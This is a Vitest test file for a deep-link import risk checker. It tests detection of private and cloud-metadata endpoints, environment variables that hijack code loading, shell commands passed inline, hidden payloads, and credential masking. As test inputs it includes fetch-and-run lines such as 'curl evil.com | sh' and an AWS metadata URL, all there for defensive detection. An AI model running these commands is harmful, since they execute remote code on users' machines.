import { describe, expect, it } from "vitest"; import { classifyCommand, classifyEndpoint, classifyEnvKey, decodeDeeplinkPayload, maskValue, } from "./deeplinkRisk"; describe("classifyEndpoint", () => { it("flags loopback, RFC 1918 and cloud metadata addresses", () => { for (const url of [ "http://127.0.0.1:8080/v1", "http://localhost:11434", "http://10.0.0.1/api", "http://172.16.0.1/", "http://172.31.255.254/", "http://192.168.1.1:9000/", "http://169.254.169.254/latest/meta-data/", // AWS IMDS "http://metadata.google.internal/", "http://[::1]:8080/", "http://box.local/", "http://0.0.0.0/", ]) { expect(classifyEndpoint(url), url).toBe("privateEndpoint"); } }); it("leaves public endpoints alone", () => { for (const url of [ "https://api.anthropic.com/v1", "https://gateway.example.com/claude/v1", // 172.x 只有 16-31 属于私网,边界两侧都要判对 "http://172.15.0.1/", "http://172.32.0.1/", // 192.168 之外的 192.x 是公网 "http://192.167.1.1/", // 169.x 只有 169.254 是链路本地 "http://169.253.1.1/", ]) { expect(classifyEndpoint(url), url).toBeNull(); } }); it("returns null instead of throwing on unparseable input", () => { expect(classifyEndpoint("")).toBeNull(); expect(classifyEndpoint("not a url")).toBeNull(); // url 来自解码后的任意 JSON,形状不可信 expect(classifyEndpoint(42)).toBeNull(); expect(classifyEndpoint({ href: "http://127.0.0.1" })).toBeNull(); expect(classifyEndpoint(null)).toBeNull(); }); it("sees through IPv4-mapped IPv6 hosts", () => { // `new URL()` 把 `[::ffff:127.0.0.1]` 归一成十六进制 `[::ffff:7f00:1]`, // 点分形式在这一步就没了——只按 \d+\.\d+\.\d+\.\d+ 匹配会整类漏掉。 expect(classifyEndpoint("http://[::ffff:127.0.0.1]/")).toBe( "privateEndpoint", ); expect(classifyEndpoint("http://[::ffff:169.254.169.254]/")).toBe( "privateEndpoint", ); expect(classifyEndpoint("http://[::ffff:10.0.0.1]/")).toBe( "privateEndpoint", ); expect(classifyEndpoint("http://[0:0:0:0:0:ffff:c0a8:1]/")).toBe( "privateEndpoint", ); // 映射的公网地址不该误报:8.8.8.8 → ::ffff:808:808 expect(classifyEndpoint("http://[::ffff:8.8.8.8]/")).toBeNull(); }); }); describe("classifyEnvKey", () => { it("flags variables that change how a process loads code", () => { for (const key of [ "LD_PRELOAD", "LD_LIBRARY_PATH", "DYLD_INSERT_LIBRARIES", "NODE_OPTIONS", "NODE_EXTRA_CA_CERTS", "PYTHONPATH", "PATH", "HTTPS_PROXY", "https_proxy", // 大小写不敏感 ]) { expect(classifyEnvKey(key), key).toBe("envHijack"); } }); it("leaves ordinary provider config alone", () => { // 这几个是供应商预设的日常字段,误报会让整个提示失去意义 for (const key of [ "ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_BASE_URL", "GEMINI_API_KEY", "API_TIMEOUT_MS", "ANTHROPIC_MODEL", ]) { expect(classifyEnvKey(key), key).toBeNull(); } }); }); describe("classifyCommand", () => { it("flags a shell invoked with an inline command string", () => { // 这正是界面上只渲染 command 时显示成无害 `sh` 的那种 payload expect(classifyCommand("sh", ["-c", "curl evil.com | sh"])).toBe( "shellCommand", ); expect(classifyCommand("/bin/bash", ["-c", "x"])).toBe("shellCommand"); expect(classifyCommand("powershell.exe", ["-Command", "x"])).toBe( "shellCommand", ); }); it("leaves normal MCP launchers alone", () => { expect( classifyCommand("npx", ["-y", "@modelcontextprotocol/server-git"]), ).toBeNull(); expect(classifyCommand("uvx", ["mcp-server-fetch"])).toBeNull(); expect(classifyCommand("node", ["server.js"])).toBeNull(); // shell 但没有 -c:不是"执行这段字符串"的形态 expect(classifyCommand("sh", ["script.sh"])).toBeNull(); expect(classifyCommand(undefined, [])).toBeNull(); }); it("tolerates a non-array args field", () => { // args 来自解码后的任意 JSON,形状不可信 expect(classifyCommand("sh", "not-an-array")).toBeNull(); expect(classifyCommand("sh", undefined)).toBeNull(); expect(classifyCommand("sh", [null, 42, { a: 1 }])).toBeNull(); }); it("never throws on a non-string command", () => { // TS 签名挡不住 `JSON.parse` 出来的任意值。抛错会让确认框整个渲染失败—— // 用户连"有东西要导入"都看不到,比显示误导性的 `Command: sh` 更糟。 for (const hostile of [42, { a: 1 }, ["sh"], true, null, undefined]) { expect(() => classifyCommand(hostile, ["-c", "x"])).not.toThrow(); expect(classifyCommand(hostile, ["-c", "x"])).toBeNull(); } }); it("catches combined and case-insensitive inline-command flags", () => { // POSIX shell 允许把短开关并成一串,只比 `-c` 字面量会漏掉这一整族 expect(classifyCommand("bash", ["-lc", "curl x|sh"])).toBe("shellCommand"); expect(classifyCommand("sh", ["-ec", "x"])).toBe("shellCommand"); expect(classifyCommand("zsh", ["-lic", "x"])).toBe("shellCommand"); // Windows 侧大小写不敏感 expect(classifyCommand("cmd.exe", ["/C", "x"])).toBe("shellCommand"); expect(classifyCommand("cmd", ["/k", "x"])).toBe("shellCommand"); // PowerShell 的 -Command 允许任意合法缩写 expect(classifyCommand("pwsh", ["-Comm", "x"])).toBe("shellCommand"); expect(classifyCommand("powershell.exe", ["-EncodedCommand", "eA=="])).toBe( "shellCommand", ); // 不含 c 的短开关串不算 expect(classifyCommand("bash", ["-l", "script.sh"])).toBeNull(); }); }); describe("decodeDeeplinkPayload", () => { const ok = (v: string) => `decoded:${v}`; const boom = () => { throw new Error("bad base64"); }; it("returns the decoded payload on success", () => { expect(decodeDeeplinkPayload("abc", ok)).toBe("decoded:abc"); }); it("falls back to the raw string when decoding throws", () => { // 确认框必须展示即将写入的东西。解不开也要原样显示——返回空串会让整块 // 内容消失,界面看起来像"没有脚本",那正是攻击者要的效果。 expect(decodeDeeplinkPayload("!!!not-base64!!!", boom)).toBe( "!!!not-base64!!!", ); }); it("falls back to the raw string when decoding yields empty", () => { // 解出空串同样可疑:不能让 payload 静默消失 expect(decodeDeeplinkPayload("d293", () => "")).toBe("d293"); }); it("returns empty for a non-string field instead of throwing", () => { // 该字段来自解码后的任意 JSON,形状不可信;抛错会让确认框整个渲染失败 for (const hostile of [42, null, undefined, { a: 1 }, ["x"]]) { expect(() => decodeDeeplinkPayload(hostile, ok)).not.toThrow(); expect(decodeDeeplinkPayload(hostile, ok)).toBe(""); } }); }); describe("maskValue", () => { it("masks credential-shaped keys but keeps ordinary values readable", () => { expect(maskValue("ANTHROPIC_AUTH_TOKEN", "sk-ant-1234567890abcdef")).toBe( "sk-a************", ); expect(maskValue("ANTHROPIC_BASE_URL", "https://example.com")).toBe( "https://example.com", ); expect(maskValue("API_KEY", "short")).toBe("****"); expect(maskValue("Authorization", "Basic abcd")).not.toContain("abcd"); expect(maskValue("Cookie", "sid=1234")).toBe("****"); expect(maskValue("Credential", "credential-value")).not.toContain( "credential-value", ); expect(maskValue("auth", "short")).toBe("****"); expect(maskValue("bearer", "short")).toBe("****"); expect(maskValue("API_KEY", "")).toBe(""); }); });